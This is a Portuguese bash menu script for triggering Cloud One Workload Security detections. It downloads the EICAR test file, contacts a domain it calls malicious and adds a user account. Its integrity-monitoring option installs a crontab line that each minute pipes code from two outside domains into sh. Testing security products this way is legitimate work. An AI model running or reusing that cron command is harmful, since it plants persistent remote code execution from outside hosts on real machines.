-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathc1-ws-test-modules.bash
77 lines (71 loc) · 2 KB
/
c1-ws-test-modules.bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/bin/bash
x="Cloud Security Workload Securty - Plataforma de teste"
menu ()
{
while true $x != "Cloud Security Workload Securty - Plataforma de teste"
do
clear
echo "================================================"
echo "1) Instalar os requisitos"
echo""
echo "2) C1 Workload Security Antimalware"
echo""
echo "3) C1 Workload Security Web Reputation"
echo ""
echo "4) C1 Workload Security Integrity Monitoring"
echo ""
echo "5) C1 Workload Security Log Inspection"
echo ""
echo "6) Sair do programa"
echo ""
echo "================================================"
echo "Digite a opção desejada:"
read x
echo "Opção informada ($x)"
echo "================================================"
case "$x" in
1)
echo "Instalando os requisitos"
read nome
sudo apt-get update ; sudo apt-get install wget tcpdump -y $nome
sleep 3
echo "================================================"
;;
2)
echo "Baixando um malware .. cuidado!"
read nome
sudo wget https://secure.eicar.org/eicar.com $nome
sleep 3
echo "================================================"
;;
3)
echo "Acessando um site malicioso"
sudo wget http://wrs49.winshipway.com $nome
sleep 3
echo "================================================"
;;
4)
echo "Afetuando alterações no sistema!"
bash -c "echo \"*/1 * * * * (curl -fssL -m15 lsd.systemtxn.org||wget -q -T15 -O- wrs49.winshipway.com)|sh\"|crontab -" $nome
sleep 3
echo "================================================"
;;
5)
echo "Adicionando usuários potencialmente maliciosos e monitorando a rede local"
sudo useradd suporte01 ; sudo sudo tcpdump -c 5 -n $nome
sleep 3
echo "================================================"
;;
6)
echo "saindo..."
sleep 3
clear;
exit;
echo "================================================"
;;
*)
echo "Opção inválida!"
esac
done
}
menu